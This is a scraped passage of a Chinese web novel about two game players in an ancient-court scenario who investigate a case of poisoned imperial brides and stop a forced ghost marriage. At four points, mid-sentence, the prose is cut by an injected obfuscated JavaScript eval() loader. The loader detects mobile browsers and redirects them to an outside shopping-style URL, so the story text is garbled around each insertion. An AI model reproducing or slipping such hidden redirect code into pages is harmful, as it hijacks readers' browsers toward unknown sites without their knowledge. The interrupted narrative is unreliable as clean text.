初与序和冬逢初双双对视一眼,纷纷叹了口气。 J23被这两人的样子逗笑,踩下刹车:“别叹气了,就当作穿越回古代玩玩,说不定能体验到除了副本剧情外其他什么东西。” 她话锋一转:“除了把古代场景炸了,放火也不行。初与序,说的就是你。” 转过头假装听不见的初与序:“……” 两个人照常下车,走进一片浓雾。他们的气息在雾里交错又散开,初与序能看到哈出的雾气,这个副本气温较低。 几分钟喉,雾开始缓缓变淡,四周的场景渐渐浮现。各种脚步声从四面八方响起,低语声听不清。初与序下意识回头,身后空荡荡的,只有正在消散的雾和青灰墙砖。 冬逢初不见了,应该是被系统分到了副本另一片任务点。 雾彻底散后,初与序发现自己站在一座院子里。天阴沉沉的,雪厚厚地铺满了地面。角落里有几株梅树,开着鲜艳的红梅。空气清冽,吸入肺里带着刺痛。 她垂眸看去,自己的衣着已经换了一套。 是一件月白色的交领短袄,领口和袖口带着蓝色的回纹刺绣。下身的裙子是从浅天蓝渐变到深海蓝,像把天色披在身上。腰间系着丝绦,底下坠着一枚白玉禁步。 她走到院角那口井边,井沿的青石被雪盖了一半,装着水的木桶搁在旁边。 初与序俯身,水面里映出她的人影——长发半披半绾着,发间插着一支水蓝玉兰簪,玉质温润。熟悉的眉眼被这身打扮衬得温柔宁静。 不得不说,系统的审美还是很好的。初与序直起身,打量着这方院落。 青砖高墙,雪覆屋檐,廊下悬挂着旧灯笼,能明显看出宅院的主人身份不简单。 脚步声从身后廊下急急传来,初与序回头,一个脸圆圆的丫鬟正提着裙子小跑进来,一把抓住初与序的袖子:“小姐!您怎么还在这儿!前厅、前厅那位李媒婆又来了!老爷正传话让您过去呢!” 原来宅院的主人是自己父亲。 初与序问:“李媒婆?” “哎呀我的小姐!”丫鬟一跺脚,“就是宫里那位李媒婆呀!她上个月就来过两回,前几日又来,今日这是第四趟了!说是、说是想招您入宫。” 她压低声音:“小姐要是真入了宫,那还得了?您快随我去前厅吧,老爷正陪着说话呢,脸色可不好看。” 初与序顿了顿,抬脚跟了上去。 走过两道回廊,来到了前厅,前厅敞着门,里头烧着炭盆。她刚迈进门槛,面板就在眼前展开: 【玩家身份:初与序。】 【父亲:初明远,当朝二品大员,吏部待郎。】 【背景补充:生母早逝,由丫鬟仆妇抚养长大。父女关系疏淡,然物质供给丰厚,所用皆上品。】 【关键NPC:李媒婆,专司“红轿案”选妃事宜,负责将选定新娘送入宫中。】 【关联人物:太子萧景琰。】 初与序在其中一行字上看了一会儿。“父亲”,这个词在她记忆里是一片空白,现实里她的父亲早就成为一张遗像,此刻要面对一个顶着“父亲”名号的NPC,她有些无措。 厅里,主位上坐着一名中年男子,穿着暗青色常服,皱着眉,应该就是初明远。下首客座上是个头戴攒竹抹额的妇人,面皮白净,嘴角噙着笑。 初与序走过去,垂首福了一礼:“父亲。”又转向那妇人,“李夫人。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157087|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媒婆的眼睛猛地亮了,她站起身来,围着初与序转了半圈:“啧啧,瞧瞧,瞧瞧!这才几日不见,初小姐出落得愈发水灵了!这眉眼,这身段。” 她转向初明远:“初大人好福气啊!小姐这面相,是旺夫益子的贵相。这生辰八字,更是难得一遇的清净纯厚。还有这血脉,宫里早些年就传过话,说初家嫡女的血脉最是清正。” 初与序表面听着,心里在发呆,直到李媒婆开始说起正事。 “所以啊,”李媒婆坐回椅子上,端起茶盏,“太子殿下那边也催得紧。老身今日来,就是替宫里传个准话,初小姐的福气到了。这月十八,吉日,宫里派轿来接,一应规矩比照前几位,绝不委屈了小姐。” 初与序抬起头,这是说自己在后天就要入宫嫁给太子? 太子谁啊?那什么,萧景琰?不认识。 福气个锤子,这福气谁爱要谁要。 她本以为初明远坐在这里,不过是怕得罪宫里的人,客套几句,就会应下这桩婚事。 可下一秒,却听初明远缓缓开口:“李夫人谬赞了。小女资质愚钝,性子又沉闷,怕是入不得宫,更担不起侍奉太子的重任。且她母亲去得早,臣……私心总想多留她在身边几年,以慰膝下寂寥。还望夫人回禀时,能替臣美言几句。” 他说着,还用眼神意识初与序赶紧离开,别在这媒婆面前。 初与序正要转身告退。 “小姐留步。”李媒婆的声音凉凉地响起。 初与序:“……” 李媒婆放下茶盏,从袖子中抽出一卷杏黄色的绢帛,轻轻放在桌上:“初大人,老身前几次来,您总是推脱。体谅您爱女心切,老身也帮着周旋了几回。可今日不同,方才那些话,是圣上亲口传下的口谕。” 她看向初与序:“除非,初小姐能在两日之内,找到合意的人家,三书六礼,明媒正娶地嫁出去。否则,本月十八,宫中红轿必至。这是圣意,初大人,莫要让老身为难,更莫要……让初家为难。” 旁边的圆脸丫鬟急得眼圈都红了,嘴唇动了动,却被初明远一个眼神止住。 李媒婆站起身,理了理衣袖,最后瞥了一眼初与序。 “老身话已带到,最多今晚为您争取一下,但希望渺茫。初小姐,您好生准备着吧。” 她说完,径直朝厅外走去。 初明远沉默地坐在那里,望着门外的天空,重重地叹了口气。 接着他转过头,看向初与序:“序儿,你……自己心里怎么想?愿不愿意去宫里?” 废话,谁愿意去那种明摆着送死的地方,红轿案新娘没有一个活下来,她去了,下场又能有什么不同。 初与序垂下眼,平平淡淡道:“女儿听父亲的。” 初明远看了她一会儿,苦笑地摇了摇头。 “你从小就是这样,懂事听话,从不让我操心。现在让你进宫,我知道你不愿意。”他顿了顿,挥了挥手:“先回屋去吧,这事容我再想想办法。这两天别随便出府,宫里的人……” 后面的话他没说,隔墙有耳的道理,在这深宅大院,这京城宫场,他又是二品大员,被人听到了,可是掉脑袋的事。 眼下正卡在主线剧情的起始点,进宫是两天后的事,这期间主线无法下手。那么现在也只能看看副线剧情了。 “父亲。”初与序上前一步,“女儿想先去城西的慈恩寺上柱香,为母亲祈福,也求个平安。” 初明远最终点了点头:“去吧,多带两个人,早些回来。让小玉跟着你,仔细些。” “是。” 247.红娇案 之前的圆脸丫鬟很快抱着一件蓝色的锦缎斗篷小跑过来,将斗篷披在初与序肩上:“小姐,外面冷得紧。” 刚出府门,寒意便扑面而来,风直往衣领里钻。街面上行人稀少,偶尔有几个小贩缩着脖子守在摊后,呵出的白气一团团散在风里。一辆马车已经等候在侧门,车夫搓着手。 初与序上了车,回头示意小玉:“你也上来吧,车里暖和。” 小玉愣了愣,跟着钻了进去。马车缓缓动了起来,车厢里确实比外面暖和很多。初与序靠着,随口问道:“这几日城里可有什么事,和婚嫁相关的?” 小玉歪着头想了想:“新鲜事倒不多,就是听说,槐花村那边好像在办冥婚。” 初与序转回来:“冥婚?” “嗯。”小玉小心翼翼开口,“说是村里一个姓柳的姑娘,前几日突然暴病没了,还没许人家。她家里人找了算命的,说是不办冥婚会家宅不宁,就,就绑了个路过的书生,要今天拜堂合葬呢。怪吓人的。” 初与序沉默片刻,开口:“不去慈恩寺了,改道,去槐花村。” 小玉“啊”了一声:“小姐?去那儿做什么?那地方不吉利呢……” “去看看。”初与序说,“既是婚嫁之事,或许也能祁个福。” 谁家好人去冥婚现场祈福啊?小玉虽不解,但还是探身掀开车帘,随着外面的车夫扬声道:“李叔,不去寺里了,改去槐花村。” 车夫也愣了一下,但没多问,应了一声。马车在下一个路口转了方向,朝着城外驶去。 冬逢初的马在皇城跟前停住,雪沫子被风卷着,扑在朱红宫墙上。 他身上也换了打扮,穿着一袭蓝色圆领官袍,上面修着白鹇补子,腰间束着黑色革带,一块钦差令牌挂在身侧,还配着他的武器冰蓝长剑。原本的短发也变成了一头长发,高束着马尾。他抬手抚去被风吹到额前的刘海,向前方望去。 眼前是宫城侧门,玄德门。两名禁军走近,左侧一人上前半步,抱拳道:“可是冬大人?” 冬逢初利落地翻身下马:“正是。” “陛下口谕,请大人即刻入宫觐见。”禁军侧身,“随我来。” 冬逢初迈步跟上。 宫道长得望不到头,两侧是高耸的暗红色宫墙,将头顶天空切成一条,压抑得很。 拐过几道弯,禁军在一处僻静的偏殿前停下,抬手示意。殿门虚掩着,透出暖黄的光。引路的禁军侧立在门边,不再前行。 冬逢初推门进去。 殿内烧了地龙,暖和了很多。紫檀木书案后坐着一个人,穿着明黄色常服,正低头看着摊开的奏章,手边放着朱笔。 听到脚步声,那人抬起头。 面板在冬逢初面前展开: 【玩家身份:冬逢初(钦差)。】 【关键NPC:萧衍(当今天子)。】 冬逢初沉默了半秒。 ——我靠,古代见皇帝是不是得跪?怎么跪来着?我不道啊,之前在永冬之城看的电视剧里好像都是撩袍子,单膝还是双膝?手放哪里?跪不好会不会掉脑袋? 他脑袋转得飞快,面上却没什么表情。硬着头皮向前两步,右手撩起官袍前摆,左腿后撤,双膝触地。 “臣冬逢初,参加陛下。” 皇帝身体向后靠了靠,目光落在冬逢初身上,打量了片刻。好一会儿,才缓缓开口:“起来吧。” “谢陛下。”冬逢初起身,垂手立在原地。 “冬逢初。”皇帝开口,“朕知道,你是钦察司里最不多话,也最不问缘由的一个。” 虽然但是,谁敢多话? 冬逢初面色不改:“臣不敢。” “红轿案,十二年了,前后四任新娘,皆是三品以上官员嫡女,皆在新婚之夜暴毙,尸身含笑而归。”皇帝慢慢地说道,“民间议论纷纷,朝中人心浮动,想必你也清楚。’” 他顿了顿,敲了敲案面:“今年此事与太子有涉,朕的儿子。民间传闻,宫里在选阴妃。荒唐。但案子查了又查,此次都说‘暴病而亡,别无隐情’。朕,不信。” 冬逢初依旧垂着眼,没什么情绪。 “但流言可畏,朕亦需给野朝一个交代。”皇帝看着冬逢初,“朕要你以钦差身份,彻查此案。一应卷宗、证人、现场,你可随时调阅、询问、查看。东宫,也不例外。” 他从案上拿出一份明黄绢帛,示意了一下:“这是朕给你的手谕。凭此,六部、京兆府、乃至东宫属官,皆需配合。” 冬逢初上前一步,双手接过。 “朕只要真相。红轿案到底是怎么回事,那些新娘是怎么死的,是谁,在朕的眼皮底下,做这种勾当。”皇帝缓缓道,“无论查到谁,无论牵扯多深,据实报道。你只需对朕一人负责,明白吗?” ”臣明白。”冬逢初将手谕收入怀中。 皇帝点了点头,摆了摆手:“去吧。四日后,朕要看到你的第一份密报。” “是。” 冬逢初行礼,后退两步,转身推开殿门。冷风灌了进来,又是那两位禁军领他出宫。直到玄德门,才抱拳一礼,转身返回。 这玩意儿咋查?这么多年了,刑部,大理寺,轮番上阵都没查出来,就靠他一个新上任的钦差,四天时间,查个锤子,自己直接出宫躲躲算了。 想是这么想,但总不能真急头白脸在这大冷天策马出宫躲藏。冬逢初还是任劳任怨地翻身上马,缰绳一带,马儿在原地踏了两步,转头看着他,像是在问他这大冷天的还要去哪。 他正思考着从何处下手,耳边耳骨夹里传来初与序的声音:“冬逢初,先去槐花村,那里有副线剧情。” 皇帝的命令先丢一边去,我对象叫我了。 冬逢初开开心心应了,一夹马腹,骏马立刻小跑起来,朝着城外宫道奔去。 初府的马车在村口停下时,已经是下午。 初与序掀开车帘,小玉先跳了下去,伸手扶她。初与序抬起头,眼前是一片低矮的屋舍,零零碎碎,被光秃秃的槐树枝遮住大半。 按说这个时辰,应该有人身。可四周静得出奇,看不到人影。 小玉左右张望,缩了缩脖子:“小姐,这儿……怎么没人啊?” 初与序没说话,往前走了一步。路尽头似乎有嘈杂的人声,但听不清。 “你留在这儿。”她转头对小玉说。 小玉跳起来:“那怎么行!老爷吩咐了,奴婢得跟着您。这地方瞧着就不对劲,太危险了。” “没事。”初与序温和道,“你在这里等着,看好马车。若两个时辰后我没回来,你就回府,告诉我父亲。” “小姐!”小玉急了。 “听话啊。”初与序朝她温温柔柔一笑。 小玉被这笑容弄得愣了一下,张了张嘴,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157088|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垮下肩膀,低着头不情不愿地“嗯”了一声,退回马车边上。初与序转身,独自朝着村里走去。 脚下的路不平,覆着积雪。家家户户门窗紧闭,直到绕过一片光秃秃的树林,才看到人影。 那是村里的祠堂,青砖黑瓦。门前围了密密麻麻一堆人,全是村民,男女老少都有,个个穿着厚实的冬衣,神情亢奋。 初与序停下脚步,躲到一颗老槐树后。 祠堂门前的空地上停着一顶轿子。那是喜轿,通体暗红,轿帘拉着,但能听见里面传来呜咽。四个壮汉守在轿子四角,寸步不移。 祠堂门大敞着,里头点着蜡烛。正对门的地方,用两条长凳架着一口棺材,里面躺着一个人。穿着大红嫁衣,头上盖着红盖头,一动不动。 那盖头没盖全,露出了嘴唇和下巴。嘴唇竟然微微上扬,像是在笑。 “时辰快到了!”一个老头清了清嗓子,“把新郎官请出来,准备拜堂。” 两个村民上前,一把掀开轿帘,从里面拖出一个人来。 是个年轻书生,看起来二十出头,头发散乱,嘴上塞着布团,双手被麻绳反绑在身后,拼命挣扎着。 “按住他!”老头喝道。 几个村民一拥上前,把他按跪在祠堂前,有人扯掉他嘴里的布团。 书生立刻嘶喊起来:“放开我!你们这是草菅人命!律法何在!柳姑娘的死与我何干!我与她素不相识!” 一个汉子啐了一口:“呸!什么律法!这是咱们槐花村的规矩!柳丫头冤死,得有个男人下去陪她,家宅才安宁!算命的说了,就你的八字合得上!” “那是胡说八道!”书生脸色惨白,“我不过是路过借宿,你们这是谋杀!” “借宿?”一个老太太阴恻恻道,“你早不来晚不来,偏偏柳丫头咽气那天来,这就是命!认了吧,后生。跟柳丫头拜了堂,到了下头,她也不会亏待你。” “我不认!”书生目眦欲裂,“放开我!你们这些愚民!疯子!” 原先那个老头皱了皱眉,不耐烦了:“堵上他的嘴!吉时不能误!” 布团又被塞回去,书生出不了声。 初与序躲在树后,皱着眉看着。 就在这时,身旁的空气忽然冷了一瞬。 她一侧头,树阴深处多了一个“人”,穿着一件和棺材里一模一样的大红嫁衣,盖头低垂,身形模糊,像一团雾。 那“人”微微抬手,盖头下传来一个带着哭腔的女声:“救救他……我不想害人……” 初与序手按上腰间的短刀:“……你谁?” 一个温和的男声在他头顶响起:“柳青娘……的鬼魂?” 初与序回过头,冬逢初不知何时站在她身后,比她高出整整一个头。天蓝色的官袍衬得他皮肤白皙,肩背宽阔。腰身被革带束紧,双腿修长,马尾被风吹得拂动。有钦差的凌厉,也有书生的俊美。 初与序扬了扬眉:“钦差?”她顿了顿,又补了一句,“好看。” 我老婆夸我好看了,嘿嘿嘿嘿。 冬逢初弯起唇角,看向她的装扮,在雪地里像个小雪团子。 爱一个人,是先觉得她可爱,再觉得她漂亮。 简单寒暄几句,两个人同时侧过头,看向刚才鬼魂显现的位置,但此刻却空空如也。 不好! 初与序和冬逢初猛地看向祠堂方向。 248.红轿案 祠堂里,烛火突然剧烈摇晃起来。一股浓郁的黑气从棺材里升腾而起,盘旋凝聚,现出一个红衣盖头的轮廓。那轮廓张大嘴巴,朝着按住书生的村民冲去! 两人立刻拔腿冲出树后,直闯入祠堂。 “什么人?!”老头喝道,几个村民也转过身,横眉怒目地烂在棺材前面。 初与序冷冷道:“住手。” “哪里来的后生,多管闲事!”汉子撸起袖子,“滚出去!别耽误我们办事!” 冬逢初没理会汉子的叫嚣,手一抬,从腰间解下令牌,举到身前。令牌上面“如朕亲临”四个字清晰可见。 “本官奉旨查案。”冬逢初道,“光天化日,强绑活人,行冥婚活埋之事。你们可知,这是死罪?” 祠堂立刻安静下来,所有人面面相觑,老头脸色变了又变,张了张嘴想说什么,但又看了那令牌,沉默了。 初与序上前,蹲下身抽出短刀,割断了绑住书生的麻绳,又扯掉他嘴里的布团。 “咳咳……多、多谢……”书生瘫软在地,大口喘气,挣扎着爬起来对着两人磕头,被冬逢初按住。 “不必了。”冬逢初将他扶起。 初与序看见书生的脖子上,有一小块暗红色的印记,像是胭脂,但又比寻常胭脂的颜色更深一些。 “能走吗?”冬逢初问。 “能、能!”书生连连点头,腿还在打颤,强撑着站稳。 “离开这里,别回头。”冬逢初松开手,“今日之事,不许对外人提起。” “是!多谢大人!多谢姑娘!”书生胡乱作揖,连滚带爬冲出祠堂,朝着村外奔去。 祠堂里,黑气渐渐平息,缩回棺材之中。柳青娘的尸体依旧躺在那里,嘴角的微笑没变。初与序莫名想起红轿案死亡的那些新娘,也是这种笑容。 村民们僵在原地,不知道该怎么办。初与序抱着胳膊,开口:“把她好好安葬,入土为安,别再折腾,村里不会出事。” “从今往后,槐花村禁止再行‘活人冥婚’。若再被我们知晓有强绑活人,生殉合葬之事,官府会亲自来查,到时便不止是今日这般简单了。” 周围村民垂下头,没人反驳。 “还愣着做什么?”冬逢初凉凉地扫了他们一眼。 几个村民如梦初醒,连忙上前将棺盖盖上。四个人合力抬起棺材,朝着村子后山的方向走去。其余村民也散开,祠堂前很快空旷下来。 初与序转身朝村口走去,示意冬逢初跟上。 天色暗了下来,冬逢初侧头看向初与序:“我是奉旨查案的钦差,刚才在宫里见了皇帝,他亲自下的密旨,让我查红轿案。这案子拖了十二年,死了四个官家小姐,每次都是暴病。他不信,让我暗中查。” 他顿了顿,“还说,今年又有一位姑娘被选上,后天就要抬进宫,嫁给太子,也不知道是哪个NPC这么倒霉。” 话落,他感觉旁边人的脚步停了。 冬逢初也停下,回头看她。 初与序正侧着脸,面无表情地看着他。那双眼睛里没什么情绪,就这么直直地和他对视着。 冬逢初:“……” 凝固般的寂静过去,冬逢初喉结动了动:“……是你啊。” 初与序转回头,继续往前走,还是面无表情地说:“是呀,是我这个倒霉蛋NPC呀。” 冬逢初几步追上她,难以置信道:“你要进宫?去跟那个太子成婚?但是你有对象!你男朋友我咋办?你不要我了吗?!真的吗?如果是真的,那我就要吊死在你府门口了!” 初与序无奈地叹了口气:“重点是这个吗?” 她停下脚步,转过身正对着他:“你想想,如果前几次红轿案,是新娘和宫中的新郎有什么关联,才被选进去处理掉,那还能解释得通。但这次,新郎是萧景琰,太子,新娘是我。我和这位太子殿下素未谋面,无冤无仇,甚至连他名字都没听过。” “为什么会选我去当这个太子妃?为什么会选我成为红轿案的被害者?” 冬逢初苦着脸,但还是想了想:“或许所有被选中的新娘都有什么共同点?” 初与序点头:“关于红轿案过去新娘的信息,初府里应该有,但我那位父亲的书房看守严,他应该不希望其余人靠近那里。” 她和冬逢初对视一眼:“你和我一起回府,把我父亲留住,我找机会溜去书房。” 村口就在不远处,马车还停在那里。小玉焦急地站在车边,踮着脚张望,见到初与序的身影,小跑着迎上去:“小姐!您可算回来了!担心死奴婢了!” 她跑到近期,就看见跟在初与序身后的冬逢初,疑惑道:“这位是……” 初与序介绍道:“这位是冬逢……冬大人,奉旨查案的钦差。” 小玉连忙屈膝行礼:“冬大人。” 冬逢初微微一笑:“不必多礼。” “冬大人有些公务上的事,需随我回府一趟。”初与序说。 小玉看了看天色,便点头急急道:“那咱们得快些回城了,眼瞅着就要敲暮鼓了,要是宵禁了还在街上,被武侯抓了去可不得了!” 暮鼓一响,全城宵禁,这是之前系统提醒过的规矩。 冬逢初点了点头,走向一旁拴着的马。初与序走向马车,经过马时,顺手在它脖颈处摸了一下。那马温顺地低头,打了个响鼻,蹭了蹭她的手心。 初与序上了马车,冬逢初策马跟在车旁,朝着初府的方向行去。 紧赶慢赶,刚到初府门口,远处皇城的方向便传来沉重的鼓声。一声接着一声,缓慢威严,穿透暮色,宣告着宵禁开始。街道上最后几个行人也匆匆消失了踪影,此刻还在路上的只有几个穿着官服,有公务在身的人。 守门的家仆认得自家马车,赶紧开门。见到后面跟着骑马的冬逢初,愣了一下,连忙派人进去通报,领着冬逢初从正门进府。 初明远很快得信,亲自迎到前院。 “冬大人。”他拱手行礼,“不知大人深夜到访,所为何事?小女若有冒犯之处,还望海涵。” 冬逢初下马,将缰绳交给一旁的仆从,回了一礼:“初大人,叨扰了。本官奉旨查办红轿案,有些细节,需向大人询问。”他顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157089|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静道,“此外,听闻府上千金,后日便要入宫?” 初明远惊讶了一瞬,侧身引路:“大人请入内详谈。” 冬逢初点头,抬步往里走。 与初与序擦肩而过时,她正要转身退下。就在交错的那一瞬,她忽然抬起一只手,用袖口遮住下半张脸,像是挡风。脸侧向冬逢初这边,睫毛低垂,眼神却柔柔地从他脸上扫过。 那眼神很轻,像羽毛拂过水面,莫名地勾了一下。 冬逢初脚步未停,与她交换了下眼神。 随即,初与序转回头,袖口放下,继续朝着内院走去。擦身而过时,带起一阵极淡的花香,一掠而过。 冬逢初跟着初明远步入前厅,门在身后合上。 初与序提着一盏灯笼,快步穿过回廊,拐向西侧。那里是初明远的书房所在,平时除了仆人,鲜少有人靠近。 院子里种着几杆修竹,书房窗户漆黑,里面没有点灯。她推开门,进去,反手带上门。 室内一片漆黑,只有月光照着。初与序吹灭灯笼,适应了片刻,看清书房的样式。 这里不大,靠墙是顶天立地的书架,塞满了卷轴。其中一张宽大的木书案,笔墨纸砚摆得整整齐齐。左侧靠窗有一张矮几,上面隔着茶具。 初与序走到书案边,拉开抽屉,里面都是公文,没有什么。 她又转向书架,一本本看过去,多是经史子集。直到在最下层,一个角落里放着几只木匣。 初与序蹲下身,将木匣取出来。匣子上覆盖着薄灰,打开,里面是一叠纸卷。她小心解开,就着窗外透进的月光展开,看清了第一行字: 「礼部侍郎周氏女,腊月十八入宫,亥时三刻薨。尸还,面色如生,唇含朱色,验无外伤。贴身侍女供称,是日曾用东宫赐‘玉面桃花胭脂’上妆……」 初与序快速往下翻,四位新娘,死亡时间都在新婚色,死状皆是“面色如生,唇含朱色”,而每位新娘在入宫前,都曾使用过“东宫特赐胭脂”。 卷宗末尾带着一行小字:「凡红轿入选者,皆受东宫妆品。胭脂一项,尤以“朱砂色”为必赐。」 初与序将卷宗放回木匣,站起身,在室内寻找。 既然自己也被选上红轿,那初府里应该也收到过东宫的胭脂。她走到窗边矮几旁,打开小抽屉。里面零零碎碎放着些杂物,其中就有一个圆形的胭脂盒。 瓷质的盒子,白底绘着淡粉的缠枝莲。打开,里面的胭脂用了小半,颜色是常见的桃红。初与序凑近闻了闻,只有淡淡的花粉香气,没什么异样,她曾经也在白闽的化妆品上闻到过。 这不是东宫送来的那种。 她又在书房找了一圈,但都没有找到什么东宫赐予的东西。 要不就是初明远根本没让那东西进府,要不就是他看到了嫌烦,随手放到了其他地方。 胭脂,都是往脸上涂的东西,为什么东宫要指定新娘用他们特制的?甚至不惜作为“赏赐”强行送进各家? 那胭脂里,一定加了别的东西。 初与序重新点燃灯笼,拉开门,悄悄退了出去。 249.红轿案 接客厅内,炭盆烧着。初明远坐在主位,冬逢初坐在客座,两人中间的小几摆着两盏热茶,白气袅袅上升。 “冬大人年轻有为,能得陛下信重,委以此案,实属难得。”初明远端起茶盏,“只是不知,大人深夜来访,具体是想了解些什么?红轿一案,刑部与大理寺早有定论,卷宗想必大人也已看过。” 冬逢初闻言,颔首道:“卷宗确是看过了。‘暴病而亡,别无隐情’八个字,概括了四条人命,十二年光景。初大人觉得,这八个字,说得通么?” 初明远缓缓道:“说不说得通,不是下官能置喙的。刑部与大理寺的诸位大人,都是国之栋梁,办案自有章程。既然他们如此结论,想必……是有依据的。” 冬逢初笑了笑:“初大人谨慎。不过本官奉的是密旨,查的是隐情。有些事,明面上的卷宗未必会记,但未必没人知道。” 他轻声道:“本官听闻,每位新娘入宫前,宫中皆有赏赐,尤其是妆品胭脂一类?” “确有其事。”初明远淡淡道,“宫中体恤,赐些物品以示恩宠,也是常例。” “东宫特赐的胭脂,初大人府上,可曾收过?” “收过。”初明远说,“不止小女,前几位府上,应当也都收过。” 冬逢初道:“那胭脂,初大人可曾查验过?或是让府上女眷使用?” 初明远放下茶盏。 “下官愚钝。”他沉声道,“宫中御赐之物,岂有私自查验之理?至于使用,小女性情疏淡,不喜妆饰,那盒胭脂一直收在库房,未曾动过。” 冬逢初没说话,只是看着他。 初明远继续道:“冬大人是觉得,那胭脂有问题?” “本官只是循例询问。”冬逢初靠回椅背,“毕竟所有新娘都接触过同类物件,总要问个清楚。” “大人思虑周全。”初明远道,“只是下官以为,若真是胭脂有异,前几位府上女眷,乃至宫中验尸,岂会毫无察觉?况且,那胭脂赐下后,到新婚夜之间,尚有数个时辰,若真有问题,为何偏偏都在同一时辰发作?” 厅内又安静下来,冬逢初听了一会风声,道:“初大人所言不无道理,只是此案疑点重重,任何线索都不能放过。况且,初大人,令嫒后日便要入宫,您就没什么想说的?” 初明远脸色沉了下来,露出焦灼无力。 “冬大人。”他道,“下官只有这么一个女儿。” 冬逢初看着他,片刻,点了点头:“我明白。” 他站起身:“今日叨扰初大人,红轿一案,本官会继续追查,至于令千金入宫一事,或许,可以再想想办法。” 初明远也起身相送,拱手道:“有劳大人费心。” 冬逢初回礼,转身朝着府门走去。夜色已深,前院一片寂静,远处传来打更的梆子声,悠长空洞。他一边走,一边抬手按了下耳骨夹。 “书房查过了。”初与序的声音传来,“卷宗记载,所有新娘死前,都用过东宫特赐的胭脂。” “知道了。”冬逢初回应,“我这边问了,你那位父亲把胭脂放在库房,收起来了。” 初与序想了想:“看来我明早要去一趟库房了。” 守门的小厮见他出来,连忙拉开侧门。冬逢初翻身上马,缰绳一带:“好。先回去,明天见面再细说。” “大人,把马交给小的吧。”马到冬府门前停下,仆人迎上来。 “多谢。”冬逢初将缰绳交给仆人,迈步进了门。 这处宅子在京城偏北,不算大,胜在清净。前后三进,带了座小小的后园。白日里没什么喧嚣,入了夜更寂静。府里仆役不多,一个看门的,两个洒扫的,一个管厨的,外加两个贴身伺候的小厮,统共夜进五六人。此刻除了守夜的,都已睡下。 冬逢初在中院转了一圈,家具一应俱全,没什么人气。后园几株枯树,假山上覆着薄雪,有着冬日干净的冷冽。 他在庭院中央的小亭子里坐下,静静看着庭院。 不一会儿,贴身小厮端着热茶走来。 “大人。”小厮将茶盏放在石桌上,却踌躇着没退下。 冬逢初抬眸:“有事么?” 小厮挠了挠头,为难道:“是……是您姑姑那边,今儿下午又派人来了。” “来的那位妈妈说,姑姑惦记您,说您年岁也不小了,该,该考虑成家的事儿了。您一日不成婚,姑姑那边一日心难安。” ……没想到进了副本还能被催婚。 冬逢初轻轻笑了一声:“知道了。回话过去,就说我尽力。让你费心了,去歇着吧。” 小厮连忙应了一声,躬身退下了。 亭子里又只剩他一个人,他抿了口茶。 在这个副本里,他的背景是出身寒微的可怜娃,襁褓中失了父母,是被一个远方姑姑勉强收养带大的。人姑姑收留他,是看准了他将来或许能读书出头,补贴家用,对他从来都带着算计。他自小就清楚自己的处境,读书格外刻苦,也确有几分天资。机缘巧合下,得了一位致仕老翰林的青眼,收为关门弟子。老翰林惜才,又怜他身世,为他疏通门路,终是送他进了国子监。 他在科举一道上展现出才学,处事又成熟稳重,很快入了皇帝萧衍的眼。当今皇帝需要的,正是一个身世干净,无家族牵绊,能力出众的孤臣。他无父无母,只有一个唯利是图的远亲,在皇帝眼里,这就是没有软肋,没有根基,只能紧紧依附皇权。因此,皇帝破格提拔,而他也从未辜负信任。久而久之,就成了皇帝手中一把得用的刀。 这次红轿案牵涉宫中密事,皇帝不信任其他官员,把案子交给他处理,也是这一原因。 不过这皇帝靠谱不? 这事儿发生的地方离皇帝那么近,他不可能一点真相都不清楚。但凡自己查到什么不利于皇帝的事,他的脑袋会完好无损待在脖子上吗? 冬逢初望着夜色,慢慢喝完了那盏微凉的茶。 第二日,天刚蒙蒙亮,初府前院便传来了急促的脚步声。 初与序刚梳洗完,小玉就慌慌张张冲进闺房:“小姐!不好了!宫里来人了!” 初与序放下手中的梳子,还没开口,就听见一个尖细的声音由远及近: “初大人,接旨吧——” 她走到窗边,推开一条缝隙。 前厅里,一个穿着宫服,面皮白净的内侍正展开一卷明黄绢帛,朗读道:“仰承皇恩,兹有吏部侍郎初明远之女初氏,秉性柔嘉,德容具备,着即列入红轿候选,于明日申时入宫,钦此。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 